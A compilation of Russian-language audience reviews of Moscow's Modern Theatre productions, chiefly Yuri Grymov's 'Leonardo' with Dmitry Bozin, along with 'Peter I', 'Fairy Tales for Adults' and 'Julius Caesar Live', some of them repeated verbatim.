Так же очень яркий получился образ инфантильного юноши Михайла Дмитриевича Бальзаминова у Сергей Аронина. Очень смешной, запоминающий и оригинальный.
Иван Васильевич Ломов от Александра Борисова тоже получился очень удачный, характерный, напоминает одну очень известную личность. Большинство зала узнала и хохотала над этим.
И, конечно, очень смешные, каждый по- своему: передержанные женихи Яичница (Петр Ступин), Жевакин (Константин Конушкин) и Анучкин (Денис Игнатов).
Отлично подобраны костюмы, художник по костюмам Ирэна Белоусова, как всегда на высоте. Тут не будет классических костюмов эпохи, а будут образы, отражающие внутреннюю суть персонажей. Чего только стоит шуба-пальто Агафьи Тихоновны. Техническая часть, как всегда без изъянов, звук, свет, сценография очень замечательно, местами завораживающе красиво. Фирменный стиль режиссера, как всегда ярок и узнаваем. Мы как будто видим историю кадрами – и это здорово.
А еще на входе в фойе нас встречала актриса этого театра, с небольшой речью о театре. Это было очень приятно, ведь именно из таких мелочей и состоит театральное удовольствие, ты окунаешься в чудесный, завораживающе красивый мир театра.
Спасибо театру Модерн, что каждый раз делает это для своих зрителей.

Премьера «Леонардо» в театре Модерн

Юрий Грымов поставил очень сильный по эмоциональному воздействию на зрителя спектакль о гениальном художнике и ученом эпохи Возрождения - Леонардо да Винчи, в котором показывает нам его личность с разных сторон – взаимоотношения Леонардо с сильными мира сего - герцогом Лодовико Моро, самым влиятельным государственным деятелем Италии после смерти Лоренцо Великолепного, на службе у которого в Милане он долгие годы состоял (Юрий Анпилогов) и Франциском, королем Франции (Александр Колесников), с его учениками, ловящими, буквально, каждое слово Учителя и беспрекословно ему верящими (Богдан Щукин, Александр Сериков и Александр Толмачев), за что один из них поплатится своей жизнью, с Лизой Джокондой (Маина Чижевская), портрет которой он писал долгие три года, за которые она стала (волею автора пьесы или Юрия Грымова?) для него очень близким и дорогим человеком, и, конечно же, без его соперника Микеланджело (Михаил Матыченко) здесь тоже не обошлось!
Выбор актера на роль Леонардо – безупречен!!! Это заслуженный артист России, ведущий актер театра Романа Виктюка – Дмитрий Бозин, чей талант настолько многогранен, что ему подвластна любая роль. А здесь ему еще и предстояло пройти со своим героем несколько десятилетий. Дмитрий Бозин, в очередной раз, продемонстрировал зрителю просто ювелирную работу! Браво!
Однако, покривлю душой, сказав, что кто-то из многочисленных актеров, занятых в спектакле, не выложился на все 100%.
Спектакль Грымова насквозь пронизан эстетикой эпохи Возрождения и полон интересных режиссерских решений.
Декораций практически нет. Ставка сделана на Цвет (потрясающие костюмы Ирэны Белоусовой) и Свет, который лишь выхватывает персонажи из полумрака, царящего на сцене, или своими лучами создает необходимое для сценического действия обрамление (художник по свету – сам Грымов).
Зрители, вслед за гостями герцога Моро, а потом и вслед за Микеланджело с Рафаэлем, специально для этого приехавшими в Милан, смогут во всей красе увидеть легендарную фреску «Тайная вечеря». Непроизвольно ахнете, когда в глубине сцены откроют занавес, за которым она прячется!!!
Увидят пришедшие на спектакль также и один из шедевров Микеланджело – роспись потолка Сикстинской капеллы – и тоже, думаю, будут приятно удивлены режиссерской находкой.
Музыкальное оформление постановки, которому Юрий Вячеславович уделяет большое внимание и всегда лично подбирает музыку – выше всех похвал! Готическая классика, оперные партии в исполнении Марии Каллас, орган и современные Pink Floyd и Dead Can Dance полностью погружают вас на два часа в Италию второй половины XV века.
«Леонардо» - вторая часть задуманной Юрием Грымовым трилогии «Антихрист и Христос». Сценическую версию по мотивам романа Дмитрия Мережковского «Воскресшие боги» написал Александр Шишов.
Думаю, что не найдется человека, которому неизвестна картина Леонардо да Винчи «Джоконда» («Портрет госпожи Лизы дель Джокондо»). Многие знают и об его авторстве фрески «Тайная вечеря». На этом, к сожалению, познания большинства и заканчиваются…
Мне повезло чуть больше – дважды читала роман американского писателя Ирвинга Стоуна о величайшем итальянском скульпторе, живописце, архитекторе и поэте эпохи Возрождения Микеланджело Буонарроти – современнике и сопернике Леонардо да Винчи, на страницах которого говорится о противостоянии двух этих великих людей, а также появляется и сам Леонардо.
Но и моих знаний не хватило, чтобы в полной мере оценить все режиссерские ходы Юрия Грымова.
Дома я прочитала о его любимом ученике Салаи (Мария Кондратова), с которого он и писал своего Иоанна Крестителя, о Даме с горностаем (Мария Орлова) - любовнице Лодовико Моро, чьим личным геральдическим животным был горностай и о судьбе самого герцога Милана.
О сиамских близнецах, блестяще исполненных Ольгой Богомазовой и Марианной Канивец, информации, к сожалению, не нашла.
Если бы перед началом спектакля зрителю устроили небольшой экскурс в эпоху Возрождения (многие и о религиозном фанатике Савонароле впервые узнали) и рассказали о знаковых произведениях/изобретениях Леонардо да Винчи, отдельные сцены этой мощной, но сложной, постановки заиграли бы совсем другими красками!

Посещение театра «Модерн» на постановку Юрия Грымова «Пётр I» произвело на меня неожиданное впечатление: удивило, заинтриговало, а в итоге восхитило.
В историко-философском спектакле отражены все этапы жизни Петра. Постановка Ю. Грымова лаконична, но очень остра: заставляет задуматься о сегодняшней России.
Замечательная, великолепная работа актеров, которые играют с огромной отдачей, показывая характер и силу образов.
Очень интересные, дорогие костюмы, соответствующие эпохе; оригинальная постановка света: из полутьмы сцены выхвачиваются значимые моменты и детали. Прекрасная музыка.
На сцене царит особая атмосфера, но и сам театр небольшой и очень красивый; интерьер которого, соответствует названию театра. Стиль модерн в интерьерном дизайне - один из самых любопытных, в полной мере отражён в залах театра: много зеркал, которые расширяют пространство, мраморная лестница, элементы декора.
В театре играет живая музыка, оригинальная библиотека - очень уютно и приятно.

Спектакль «Леонардо» поставлен Юрием Грымовым по одной из книг трилогии Дмитрия Мережковского "Христос и антихрист".

В главной роли приглашенная звезда театра Виктюка, Дмитрий Бозин.

Играет Бозин потрясающе - тонко, без надрыва, с очень точными акцентами, а сцена, в котрой публике впервые показывают Тайную вечерю вообще гениальна - восторженная толпа, созерцающая явленное творцом миру чудо и сам творец, более занятый занозой, засевшей в ноге, чем тем эффектом, который произвело его творение на досужую публику. Ибо для Леонардо-творца все уже свершилось. Работа окончена и больше ему не интересна. Такова его натура, натура гения, жаждущего только познания и готового ради него отвергнуть все мирское, включая мораль, и любые законы, человече и божьи.

Грымов уже не врервые "препарирует" великих. В Леонардо он, пожалуй, делает это наиболее последовательно и методично. Пытаясь разобраться где в человеке невероятно одарённом заканчивается божественное и начинается дьявольское, Грымов выворачивает душу творца наизнанку, пытаясь нашупать тонкую грань между добром и злом, но намеренно оставляет этот вопрос без ответа, позволяя зрителю сделать собственные выводы.

Постановка масштабная. Режиссер задействует в спектакле более 30 актёров, не боясь при этом оставлять пространство сцены почти пустым, лишенным декораций, но мастерски "оформляя" его при помощи света и звука.

Есть в спектакле и потрясающие технические ходы. Намеренно не описываю их, дабы не раскрыть интригу. Но поверьте, сценические находки Грымова в "Леонардо" впечатляют.

И ещё стоит отметить роскошные костюмы, которые являются неотъемлемым и весьма удачным дополнением режессерского замысла, создавая на сцене некие "живые картины" и погружая зрителя в эпоху Леонардо, удивительного, универсального гения, к познанию тайн котрого после спектакля мы станем чуть ближе.

"Леонардо" в театре Модерн
Как вы, наверное, поняли, это история скульптора, художника и ученого Леонардо да Винчи. Мы встречаемся с ним, когда работа над Тайной вечерей почти закончила и расстаемся, когда Леонардо принимает предложение короля Франциска переехать во Францию. То есть, мы видим его уже сформировавшимся творцом, а не юным учеником, ищущим свою дорогу в жизни.

Играет его з.а.России Дмитрий Бозин. От чарующего и эпатирующего красавца к немолодому усталому человеку проводит своего персонажа актер. Дмитрию удалось показать своего героя разным: творцом, сластолюбцем, ученым, суеверным человеком. Но главное то, что мы видим титана, гения, выделяющегося даже в той когорте творцов, которой так славится Возрождение. И, казалось бы, именно таким будет вывод режиссера и послевкусие от спектакля. Но в конце неожиданно на первый план выходит проблема Духовности.

Спектакль потрясающе красив, его смотришь, затаив дыхание. Мне очень хочется выложить все подробности, но этого я делать не буду, чтобы не испортить впечатления. Но, поверьте на слово, режиссерских находок здесь не одна и не две. И еще тут совершенно изумительная Тайная вечеря. Эта картина возносится над сценой и над зрителями, она горит и сияет в темноте. Из мрака Средних веков встает новая эпоха.

Декораций в "Леонардо" нет, мебели немного, но это не мешает создать обстановку собора, мастерской или дворца герцога. Вероятно, потому что костюмы И. Белоусовой невероятно хороши: бедные (за одним исключением) у учеников Леонардо, аскетичные русских мастеров, яркие, пышные у челяди герцога, алые у кардиналов... Тут вообще много "играют" цветом и светом, выделяя лучом фигуры актеров. Именно луч света превращает драку Леонардо и Микеланджело в прекрасную скульптурную группу. Светом рисуют картины Сикстинской капеллы на потолке театра. Кстати, художник по свету – тоже Юрий Грымов.

В спектакле заняты многие артисты театра Модерн, как заслуженные мастера, так и молодые. Богдан Щукин сыграл Джованни, юного ученика Леонардо, который мечется между монастырем и шлюхой, ища себя. Казалось бы, у него вполне славянское лицо, но в стилизованной одежде времен Возрождения, он выглядит вполне итальянцем. Н. Селиванова сыграла Кассандру, провоцирующую Джованни. Она очень хороша, хотя классической красотой не обладает. М. Чижевская в роли Лизы Джоконды, напротив, - яркий пример именно классической красоты. Эта женщина станет моделью Леонардо и его музой. В роли герцога Лодовико Сфорцо - Юрий Анпилогов. Но, честно признаюсь, в данном случае замысел режиссера я не поняла. Мы видим явного безумца, в то время, как Моро был вполне вменяемым человеком. И уж точно не горбуном.

Минусы.
Отдельные сцены сложно понять тем, кто не читал книги. Думаю, Юрий Грымов настолько сроднился с героем и проникся эпохой, что забыл о том, что не все так сведущи, как он. Образ "сиамских сестер" интересен, но что он символизирует и кто это вообще такие? Сцена с герцогом в окровавленной рубашке также поставила меня в тупик. То есть, если вы в курсе событий, то у вас проблем не будет. Если нет, то как знать...

Резюме: спектакль великолепен. Но перед покупкой билета на всякий случай прочитайте книгу.

"Леонардо" в театре Модерн

Леонардо да Винчи - самый загадочный гений Возрождения, создатель невероятных шедевров, совершенные рисунки которого наполнены не только всемирной красотой, но и уродливыми сценами бытия. Его личность не разгадана до сих пор, его творения будоражат душу, его изобретения опередили время.
Загадочную жизнь такого человека непросто отобразить и в романе, но перенести на сцену и за неполных три часа раскрыть тайну Леонардо да Винчи... Для этого нужна особая творческая смелость и художественный руководитель и режиссер театра "Модерн" Юрий Грымов такой смелостью обладает.
Роман Мережковского, по которому поставлен спектакль "Леонардо", не просто читать, но перенести его на сцену... А ведь получилось! Получился невероятно красивый, глубокий спектакль, который держит зрителей в напряжении с первой до последней минуты.
Расслабляться действительно некогда, "клиповый" кинометод, придуманный для театра Грымовым, в этом спектакле работает особенно удачно. За каждым поворотом действия, в каждой открывшейся мизансцене зрителей ждет новое потрясение и новое открытие.
Кто-то из великих сказал, что каждое произведение искусства стремится стать музыкой, спектаклю "Леонардо" театра "Модерн" музыкой стать удалось.
Это уже не просто драматический спектакль, на наших глазах рождается новый вид искусства.
Юрий Грымов обладает не только невероятной смелостью, но и безграничной фантазией. Как, ну как ему удалось придумать такое воплощение гениальной фрески Леонардо. Теперь-то уже кажется, что решение лежало на поверхности, но попробуйте додуматься.
Конечно же спектакль до краев наполнен искусством эпохи Возрождения, намеки, аллюзии, ожившие картины... А потолок Сикстинской капеллы! - Так просто, так эффектно. Прием работает стопроцентно, погружение полное.
Ну и конечно же Дмитрий Бозин - Леонардо. Бозин и сам, как личность, - человек эпохи Возрождения. Абсолютное попадание в роль. Лучший выбор невозможен. И простолюдины и всесильные государи проходят перед внимательным и холодным взглядом Леонардо. Он видит дальше, видит глубже.
Леонардо будоражит наше воображение не только тем, что оставил, но и тем, что унес с собой. Ему хотелось познать многое и потому так мало законченных картин: создание оружия, разгадка механики полета, ему все было невероятно интересно, все хотелось успеть.
Спектакль "Леонардо" театра "Модерн" очень многонаселенный, кажется в нем участвует вся труппа, но здесь нет проходных ролей, каждый актер на своем месте, каждый образ работает на общий результат.
О "Леонардо" можно писать и говорить много и долго, но лучше просто пойти и посмотреть.
"Выключайте телевизор – идите в театр!"

Ох уж эти сказочки, ох уж эти сказочники...
За довольно прозаичным названием спектакля "Сказки для взрослых" в Театре "Модерн" прячется самый настоящий образец сценического постмодернизма. С недавних пор это направление в большой моде на столичных подмостках. Театры большие и малые стремятся перещеголять друг друга в желании поразить зрителя затейливыми диалогами и неожиданными поворотами знакомых сюжетов. Иногда удачно, чаще всего не очень. Тут уж от таланта режиссера и исполнителей все зависит.
Я обычно перед походом в театр стараюсь хоть что-то разузнать про спектакль, режиссера, драматурга. А тут как-то не подготовилась. Пришла  - ну просто чистый лист! Комедия будет, говорят. Ну ок, комедия же это всегда неплохо, веселый вечер, хорошее настроение и всё такое. Но тут, как говорится в известном фильме, "промашка вышла ужасная". Уже потом, анализируя, что же я все-таки увидела, и суммируя свои впечатления,  пришла к выводу, что "комедия" для такого явления слишком уж примитивное определение. Тут все гораздо сложнее и, можно сказать, драматичнее.
Ну во-первых об авторе: американский драматург Дон Нигро довольно известный и плодовитый товарищ, ставят его в самых разных странах много и охотно, его пьесы привлекают богатой и довольно нестандартной фантазией и виртуозными пируэтами вокруг заданного сюжета. А уж сюжеты его пьес и рассказов, которых безумное количество, самые разнообразные, и соединение их в одном спектакле может дать довольно неожиданный эффект. Такой эффект и получился от эксперимента режиссера Сергея Аронина, который, выбрав из всего авторского разнообразия семь новелл на более или менее сказочные сюжеты, построил из этих "кирпичиков" структуру своего спектакля.
Кстати, немного о режиссере: Сергей Аронин - талантливый "многостаночник" - он и пишет, и преподает и ставит спектакли и сам играет. Я видела в "Модерне" шедеврально им поставленный "Хочу не могу", а также его актерские работы в "Женитьбе" и "Петре I". Очень он был везде неплох, надо сказать. В "Сказках" Аронин оторвался по-полной: как режиссер, виртуозно соединив несколько разрозненных историй в стройный сюжет, и как актер в четырех совершенно разноплановых образах(особенно Пиноккио был хорош). И вообще, решили на актерах по-хорошему сэкономить, в спектакле их всего пять, каждый занят в нескольких ролях, и какие же это непохожие образы, просто диву даешься!
В любой из семи новелл, помимо самой истории, прячется глубокий философский подтекст, а сказочная иносказательность позволяет воспринимать все эти вторые, третьи, десятые смыслы довольно легко, как бы играючи.
Вот, допустим, три индюшки роются в мусоре в поисках кукурузных початков, но, оказывается, одна из них мечтает играть на саксофоне, и покидает друзей, отправляясь искать неведомое саксофоновое дерево, на котором он якобы растет. Что это, как не стремление к цели, и надежда достичь ее во что бы то ни стало, не боясь отправиться в неизведанное?
Или "Гадкий утенок"(у Нигро, кстати, был утконос, и тут хочу отдельно грим и костюм актрисы отметить) Монолог, замечательно исполненный Надеждой Меньшовой, об одиночестве, непохожести на других и собственной идентичности.
А дуэт старика Мэрлина и Вивьен(Маргарита Шилова), его ученицы, это ж с одной стороны история о неожиданном предательстве, ну а с другой - она же хотела как лучше: устал старик и стремился к покою, вот она и осуществила его мечту, поставив в лесу деревом. Молодым везде у нас дорога!
А трогательная и страстная одновременно история о человеке-невидимке(Юрий Соколов), влюбленном в молоденькую горничную(Мария Кондратова) - странная любовь пополам с вуайеризмом. И оказывается, девушка вовсе не против, чтобы за ней тайком подглядели и сама не прочь увидеть невидимое.
Что же еще? Ах да, Пиноккио на свидании с дамой, совершенно не ожидавшей, что пришла на встречу с деревянной куклой. Да, он деревянный, но человеческие чувства ему вовсе не чужды, и как же ему хочется успеть рассказать кому-то свою историю, торопясь и тороторя, пока очередная потенциальная возлюбленная не испугалась и не сбежала.
Или вот Ганс и Грета, которые уже изрядно повзрослели в пряничном домике. Грета с диаметрально противоположными, почти шизоидными переменами в настроении, откровенно издевается над бедным Гансом, никак не может решить, то ли позволить себя поцеловать, то ли оттолкнуть его. И из-за своей неопределенности остается в результате без Ганса, зато с ведьмой. Тоже вариант любви!
Ну а в финале, пожалуй, апогей философской иносказательности. Герои мчатся в санях по зимней дороге, и вдруг понимают, что дорога эта никуда не ведет, и нет ни вчера, ни завтра, а их сегодняшний день - это одномоментное существование в  стеклянном новогоднем шаре, если потрясти который, внутри пойдет снег. И где-то там, в другом мире, есть гостинная, в которой на столе стоит этот шар, и кто-то может в любой момент потрясти его, а от тебя самого ничего не зависит. А хочется уже разбить этот шар, выбраться из него и доехать до того места, куда ты так стремишься, чтобы стать хозяином собственной судьбы.
Ну вот такое мне сказочки навеяли, пока за окном первый серьезный снег идет...

Почему "Антихрист и Христос", а не наоборот, как была придумана афиша к спектаклю "Леонардо", как приятный во всех отношениях Юрий Анпилогов превратился в отвратительного горбуна герцога Моро и где Юрий Грымов нашел своего Леонардо - Дмитрия Бозина. Вот лишь некоторые из вопросов, ответы на которые прозвучали на пресс-конференции очередной громкой премьеры театра "Модерн". Мне, конечно, нереально повезло увидеть буквально всю команду, задействованную в спектакле, начиная с самого режиссера и заканчивая исполнителями эпизодических ролей. Горностай, к сожалению, отсутствовал, но Дама точно была, и еще кое-каких животных нам в конце спектакля продемонстрировали (осторожно, будет спойлер!)
Пока присутствующие собирались с мыслями, Грымов уже готов был всех отпустить пить шампанское, но не тут то было! Вопросы посыпались как из рога изобилия и, конечно, самый главный из них, почему же все-таки именно Леонардо да Винчи стал героем второй части трилогии "Антихрист и Христос". Все герои трилогии уже давно известны. Первым был "Петр"(один из любимейших мною спектаклей в "Модерне"), сейчас вот "Леонардо"  а заключительную часть трилогии "Иуда" нам еще предстоит увидеть. Спектакли трилогии словно перемещают нас все дальше назад во времени - из периода Петровских преобразований начала XVIII столетия через эпоху Возрождения, заканчивая в итоге временем земной жизни Христа. Выбор именно этих исторических личностей далеко не случаен, режиссеру интересно было исследовать на их примере борьбу человека с собой, со своими внутренними демонами, его способность сопротивляться "темной стороне силы". Про "Петра" я уже упоминала, а что там будет с Иудой, помимо того, что известно всем, время покажет.
Сегодня о Леонардо. Грымов, по его словам,  начал интересоваться биографией художника, начиная с 14 лет. Вряд ли он, конечно, в этом возрасте мог представить, к чему в итоге приведет этот интерес.
Частично основой спектакля стал роман Мережковского, как и в "Петре", но Грымов не случайно называет трилогию "Антихрист и Христос", а не наоборот, как у Мережковского. Для режиссера необычайно важно показать движение героя из тьмы к свету, через ошибки, искания, терзания к обретению истины и духовному преображению.
Леонардо предстает в спектакле как раз такой мятежной душой, в вечных поисках своего пути в искусстве и жизни. И выбор Дмитрия Бозина, звезды театра Романа Виктюка,  тут явно неслучаен. Актер, умеющий передать сомнения и страдания не только произнося текст, но и буквально всем телом, абсолютно достоверен в этой роли. Мы конечно доподлинно не знаем, как выглядел Леонардо, но Бозину явно очень идет Возрождение. Если он встает в луче света, раскинув руки -  перед нами просто готовое изображение витрувианского человека.
Грымов неоднократно говорил, что в каждом герое есть какая-то часть от него самого, он сам заражается судьбами героев и заражает всю труппу. Актеры не просто репетируют, они много читают об эпохе, полностью погружаясь в мир своих персонажей. И поэтому у Юрия Анпилогова будто вырастает реальный горб, Алексей Багдасаров прячет всю свою природную добродушную харизму под мантию жестокого инквизитора, а в Маине Чижевской проскальзывает неуловимая загадочность Моны Лизы. Как, впрочем, и всегда моё браво-брависсимо художнику по костюмам Ирэне Белоусовой. Невероятно тонко чувствующий и помогающий раскрытию образов художник!
Сам спектакль, как картина, выполнен  несколькими сильными мазками, раскрывающими разные стороны личности главного героя. Одна краска - его отношения с властью и церковью, другая - общение с учениками, третья - внезапно всрыхнувшая любовь, четвертая - его споры с другими художниками. Краски соединяются, переплетаются, образуя яркое, насыщенное полотно. Леонардо вынужден поддерживать отношения с сильными мира сего, хотя отчетливо понимает, что для властного герцога Моро он всего лишь знак престижа, а демонстрация "Тайной вечери" - повод похвастаться и закатить банкет. Для непримиримого врага светского искусства Савонаролы он как кость в горле. Его бы воля - разжег бы из всех картин один гигантский костер, и не увидели бы мы никогда шедевров Леонардо, Рафаэля или Микеланджело.
Очень непростые отношения Леонардо с "коллегами" порой заканчиваются реальными схватками. Художественные споры в те времена нередко разрешались кулаками. Но при этом он признает силу воздействия таланта Микеланджело, в молчании разглядывая потолок Сикстинской капеллы. Рядом с ним любуется фреской русское "культурное посольство", прибывшее пригласить в Россию кого-то из итальянских мастеров. Российские иконописцы конечно в шоке от того, насколько объемные изображения по классическим греко-римаским канонам отличаются от привычного им божественного письма, но признание таланта в итоге перевешивает художественные различия.
С учениками у Леонардо тоже все сложно, а вину за гибель одного из них ученики напрямую возлагают на художника, подтолкнувшего того к опасному эксперименту. Ну не дано человеку летать как птица, не пытайтесь, не смешите бога! Да, да, расскажите об этом сегодняшним летчикам  на сверхзвуковых машинах, они как раз посмеются.
Особое место в спектакле отведено отношениям Леонардо и Моны Лизы. Художник начинает испытывать незнакомые ему доселе эмоции, и получившийся портрет - отражение этих эмоций на холсте. Не в этом ли загадка Джоконды? Внутри полотна зашифрованы чувства художника и они так глубоко запрятаны, что прорываются лишь сквозь ее таинственную улыбку. Внезапное известие о смерти Моны Лизы опустошает Леонардо, у него не остается сил бороться, он будто стареет сразу на 20 лет и, надо отдать должное таланту Бозина, происходит это безо всякого дополнительного гримма просто у нас на глазах. Жизнь в Италии для него становится слишком тяжелым бременем, и он предпочитает спокойное существование при дворе французского короля. Но расстаться с портретом любимой он не может. Она, словно ангел-хранитель, своей улыбкой будет освещать его путь до конца жизни, а вылетающие в финале из зала белые голуби становятся символом окончательной победы Леонардо над собственной темной стороной.

Недавно имела честь посетить премьеру спектакля «Леонардо» Юрия Грымова трилогии «Антихрист и Христос».Для меня это было очень долгожданное событие,которое действительно приоткрыло удивительную дуальную личность Великого Леонардо да Винчи.Новая постановка Юрия Грымова отличается своей масштабностью и новым глубоким и уникальным видением гения Леонардо,которого в постановке играет талантливейший актёр Дмитрий Бозин.Леонардо предстаёт перед зрителем двойственной натурой,пересекаюшим грани от Христа к Антихристу,меня потрясла эта удивительно глубокая и нестандартная интерпретация личности этой Великой исторической фигуры.Актёр буквально препарирует личность величайшего человека Эпохи Возрождения,погружая зрителя в глубины его сознания.
Не оставит и зрителя равнодушными просто потрясающие костюмы,невероятная музыка и интереснейшие постановочные решения,от которых в буквальном смысле *********** дух.
Это тот самый опыт,который стоит пережить…И при чем возможно не один раз.
Я очень советую вам,мои дорогие,к просмотру.
Этот потрясающий спектакль точно не оставит вас равнодушными,а возможно,и прежними…

Недавно имела честь посетить премьеру спектакля «Леонардо» Юрия Грымова трилогии «Антихрист и Христос».Для меня это было очень долгожданное событие,которое действительно приоткрыло удивительную дуальную личность Великого Леонардо да Винчи.Новая постановка Юрия Грымова отличается своей масштабностью и новым глубоким и уникальным видением гения Леонардо,которого в постановке играет талантливейший актёр Дмитрий Бозин.Леонардо предстаёт перед зрителем двойственной натурой,пересекаюшим грани от Христа к Антихристу,меня потрясла эта удивительно глубокая и нестандартная интерпретация личности этой Великой исторической фигуры.Актёр буквально препарирует личность величайшего человека Эпохи Возрождения,погружая зрителя в глубины его сознания.
Не оставит и зрителя равнодушными просто потрясающие костюмы,невероятная музыка и интереснейшие постановочные решения,от которых в буквальном смысле *********** дух.
Это тот самый опыт,который стоит пережить…И при чем возможно не один раз.
Я очень советую вам,мои дорогие,к просмотру.
Этот потрясающий спектакль точно не оставит вас равнодушными,а возможно,и прежними…

Недавно имела честь посетить премьеру спектакля «Леонардо» Юрия Грымова трилогии «Антихрист и Христос».Для меня это было очень долгожданное событие,которое действительно приоткрыло удивительную дуальную личность Великого Леонардо да Винчи.Новая постановка Юрия Грымова отличается своей масштабностью и новым глубоким и уникальным видением гения Леонардо,которого в постановке играет талантливейший актёр Дмитрий Бозин.Леонардо предстаёт перед зрителем двойственной натурой,пересекаюшим грани от Христа к Антихристу,меня потрясла эта удивительно глубокая и нестандартная интерпретация личности этой Великой исторической фигуры.Актёр буквально препарирует личность величайшего человека Эпохи Возрождения,погружая зрителя в глубины его сознания.
Не оставит и зрителя равнодушными просто потрясающие костюмы,невероятная музыка и интереснейшие постановочные решения,от которых в буквальном смысле *********** дух.
Это тот самый опыт,который стоит пережить…И при чем возможно не один раз.
Я очень советую вам,мои дорогие,к просмотру.
Этот потрясающий спектакль точно не оставит вас равнодушными,а возможно,и прежними…

Театр - это повод для вдохновения.
Вчера я посетила невероятной спектакль «Юлий цезарь Live» – это постановка режиссера Юрия Грымова в театре Модерн 🎭

Хочется поделиться эмоциями от увиденного с вами. Эта постановка некая параллель извечных вопросов современности и прошлого века. Как любимый народом правитель, вдруг превращается в диктатора и хуже того, близкого человека, который способен на предательство ради власти?

Юрий Грымов заставляет задуматься об алчности, эгоизме и зависти людей, что актуально и по сей день среди нас. Он выводит собственную сюжетную линию пьесы: заговорщики погибают сразу же в день убийства Цезаря! Никто не думает о последствиях и чем обернется для Рима такой поворот?

Всё, что было в спектакле уже случалось две тысячи лет назад и она повторяется в наше время. Порой люди оказываются двуличными и лживыми, а со времен Шекспира ничего не изменилось!
Музыка сопровождала интригу до конца спектакля, было невероятно эмоционально.

Отдельное восхищение взывают: костюмы, яркая игра актеров, сюжетная линия и современная подача режиссера! Спектакль эмоционально острый, а второй акт вас сильно удивит сменой декораций🫰🏻

Театр «МОДЕРН» – это, то место куда хочется возвращаться и каждая постановка восхищает своей подачей с легкой руки режиссера!

Театр - это повод для вдохновения.
Вчера я посетила невероятной спектакль «Юлий цезарь Live» – это постановка режиссера Юрия Грымова в театре Модерн 🎭
Хочется поделиться эмоциями от увиденного с вами. Эта постановка некая параллель извечных вопросов современности и прошлого века. Как любимый народом правитель, вдруг превращается в диктатора и хуже того, близкого человека, который способен на предательство ради власти?
Отдельное восхищение взывают: костюмы, яркая игра актеров, сюжетная линия и современная подача режиссера! Спектакль эмоционально острый, а второй акт вас сильно удивит сменой декораций🫰🏻
Театр Модерн – это, то место куда хочется возвращаться и каждая постановка восхищает своей подачей с легкой руки режиссера!

В очередной раз хочу признаться в своей огромной любви театру Модерн и Юрию Грымову
⠀
Знала о готовящейся премьере спектакля «Леонардо» и с трепетом бежала на премьерный показ.
⠀
Честно, очень честно — восторг!
⠀
Эта постановка вторая часть трилогии «Антихрист и Христос». Первая часть (спектакль «Пётр») была моим личным восторгом и многие помнят, что я таааак впечатлилась, что выйдя из театра…. уехала в Питер.
⠀
Признаюсь, после просмотра «Леонардо» я тоже выходила из зала в невероятном состоянии. Да, в Питер на этот раз я не уехала, но рекомендовать к просмотру могу смело!
⠀
Уверена, многих привлекает личность гения Леонардо да Винчи. Конкретно я всегда с удовольствием и интересом смотрю фильмы, хожу на тематические выставки и постановка «Леонардо» стала шикарным дополнением в моей копилке об этом уникальном человеке.
⠀
Юрий Грымов интересовался личностью Леонардо лет с 14 и прочел 80% литературы, посвящённой Леонардо — считаю, это наложило крутой отпечаток на постановку.
⠀
Позволю себе не пересказывать сюжет и тем более не хочется раскрывать все те нереальные приемы и сцены из постановки.
Но обязательно хочется отметить, по моему мнению актеры подобраны безупречно. Каждый проявил свой актёрский талант в максимальной степени — оживили перед нами лиц ушедшего времени так, что я прочувствовала их характер, переживания, образ жизни.
Костюмы максимально отражают героев, время, ситуацию.
Нет необходимости говорить о свете и музыке — мне кажется, это отличительная черта Модерна. Они всегда не банальны, уместны и я бы даже сказала, «со вкусом».
⠀
Был применен интересный прием — в определенный момент визуальная картинка вышла со сцены, как вы думаете куда!? На потолок над зрителем! Это было крайне неожиданно, интересно и необычно.
⠀
Я даже немного завидую тем, кому только предстоит увидеть этот спектакль. Искренне советую — вы точно получите удовольствие!

Леонардо да Винчи безусловно можно отнести к уникальным людям нашей планеты... Ведь он известен не только как один из величайших художников и скульпторов Италии, а также как величайший ученый, исследователь, инженер, химик, анатом, ботаник, философ, музыкант и поэт. Его творения, открытия и исследования не на одну эпоху опередили время.

Всегда была очаровна его талантом и заинтригована биографией. Погрузиться в атмосферу и приоткрыть завесу великой личности мне помог Театр Модерн и режиссер Юрий Грымов. 13 октября мне удалось побывать на пресс-показе второй части трилогии «Антихрист и Христос» - «Леонардо»!

«Христос и Антихрист» — трилогия Дмиртрия Сергеевича Мережковского, в которую вошли три романа: «Антихрист. Пётр и Алексей», «Воскресшие боги. Леонардо да Винчи» и «Смерть богов. Юлиан Отступник».

В новой масштабной постановке Юрия Вячеславовича Грымова рассуждается о линости человека-загадки и гения Леонардо да Винчи, о двойственности его натуры, о пересечении грани между Антихристом и Христом. Главную роль исполняет безумно талантливый и харизматичный Дмитрий Бозин. Пожалуй, быдо трудно подобрать кого-то более подходящего на эту роль! Дмитрий своей игрой умело исследует и препарирует личность величайшего человека эпохи Высокого Возрождения вместе со зрителями, погружая в глубины сознания гения.

Я осталась под сильнейшим впечатлением от спектакля. Настолько в постановке все идеально - великолепная актерская игра, завораживающие атмосферные декорации, музыкальное сопровождение, сценография и конечно же несколько интереснейших постановочных решений, от которых *********** дух. Таких уникальных сценических идей я не видела еще нигде. Это стоит того, чтобы увидеть. Спойлерить я вам, конечно же, не буду, советую убедиться самим на ближайших спектаклях.

Это тот самый экспириенс, который обязательно нужно пережить, причем не один раз. На сайте театра указано, что режиссер рекомендует смотреть спектакль два раза - первый раз с 1-2 ряда и второй с 11. Полностью согласна с этим утверждением, так как только таким способом можно уловить масштабность и гениальность спектакля.

Ну что же вы сидите?) Бегом в театр!)

"Сказки для взрослых" в театре Модерн

Думаете, что сказки уже все написаны и давно известны? Ан нет! Талантливый рассказчик всегда преподнесет даже сто раз прочитанную историю совсем с другой стороны: обратит внимание на то, на что до этого посмотреть даже не приходило в голову, задаст совсем неожиданные вопросы и сам же подскажет на них ответы)

Вот, например, вы задумывались о личной жизни героев сказок? Ну не все же они в игрушки играли, со временем и у героев сказок появляются взрослые мысли про то, как создать семью, как познакомиться или про то, ради чего стоит прожить свою пусть даже игрушечную жизнь. Про это не писал Гофман... да и что тут напишешь: и со своей людской жизнью не все понятно, что уж говорить про сказки? Там возможностей больше, да и нюансы совсем другие) представьте, что бы Пиноккио рассказал своему психологу)))) А вот со сцены "Модерна" сумели рассказать и об этом.

